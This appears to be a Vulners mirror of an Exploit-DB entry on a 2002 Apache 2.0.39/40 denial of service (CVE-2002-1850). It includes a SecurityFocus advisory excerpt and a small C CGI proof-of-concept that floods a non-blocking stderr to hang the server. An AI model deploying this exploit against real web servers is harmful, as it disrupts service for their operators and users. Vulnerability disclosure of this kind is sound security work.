Lucene search
+L

Apache 2.0.39/40 - Oversized STDERR Buffer Denial of Service

🗓️ 24 Sep 2002 00:00:00Reported by K.C. WongType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 25 Views

Denial of service in Apache 2.0.39/40 due to oversized STDERR buffer on Linux operating systems.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-1850
28 Jun 200504:00
cve
cvelist
Cvelist
CVE-2002-1850
28 Jun 200504:00
cvelist
debiancve
Debian CVE
CVE-2002-1850
28 Jun 200504:00
debiancve
nvd
NVD
CVE-2002-1850
31 Dec 200205:00
nvd
osv
OSV
DEBIAN-CVE-2002-1850
31 Dec 200205:00
osv
ptsecurity
Positive Technologies
PT-2002-2572 · Apache · Apache Http Server
31 Dec 200200:00
ptsecurity
redhatcve
RedhatCVE
CVE-2002-1850
30 Oct 201509:33
redhatcve
// source: https://www.securityfocus.com/bid/5787/info

Apache is prone to a denial of service condition when an excessive amount of data is written to stderr. This condition reportedly occurs when the amount of data written to stderr is over the default amount allowed by the operating system.

This may potentially be an issue in web applications that write user-supplied data to stderr. Additionally, locally based attackers may exploit this issue.

This issue has been confirmed in Apache 2.0.39/2.0.40 on Linux operating systems. Apache on other platforms may also be affected. This issue does not appear to be present in versions prior to 2.0.x.

// Credit to: K.C. Wong
#include <stdio.h>
#include <time.h>
#include <unistd.h>
#include <fcntl.h>

#define SIZE 4075

void out_err()
{
        char buffer[SIZE];
        int i = 0;

        for (i = 0; i < SIZE - 1; ++i)
                buffer[i] = 'a' + (char )(i % 26);

        buffer[SIZE - 1] = '\0';

//
fcntl(2, F_SETFL, fcntl(2, F_GETFL) | O_NONBLOCK);

        fprintf(stderr, "short test\n");
        fflush(stderr);

        fprintf(stderr, "test error=%s\n", buffer);
        fflush(stderr);
} // out_err()

int main(int argc, char ** argv)
{
        fprintf(stdout, "Context-Type: text/html\r\n");
        fprintf(stdout, "\r\n\r\n");
        out_err();
        fprintf(stdout, "<HTML>\n");
        fprintf(stdout, "<body>\n");
        fprintf(stdout, "<h1>hello world</h1>\n");
        fprintf(stdout, "</body>\n");
        fprintf(stdout, "</HTML>\n");
        fflush(stdout);
        exit(0);
} // main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Oct 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
CVSS 3.17.5
EPSS0.15248
25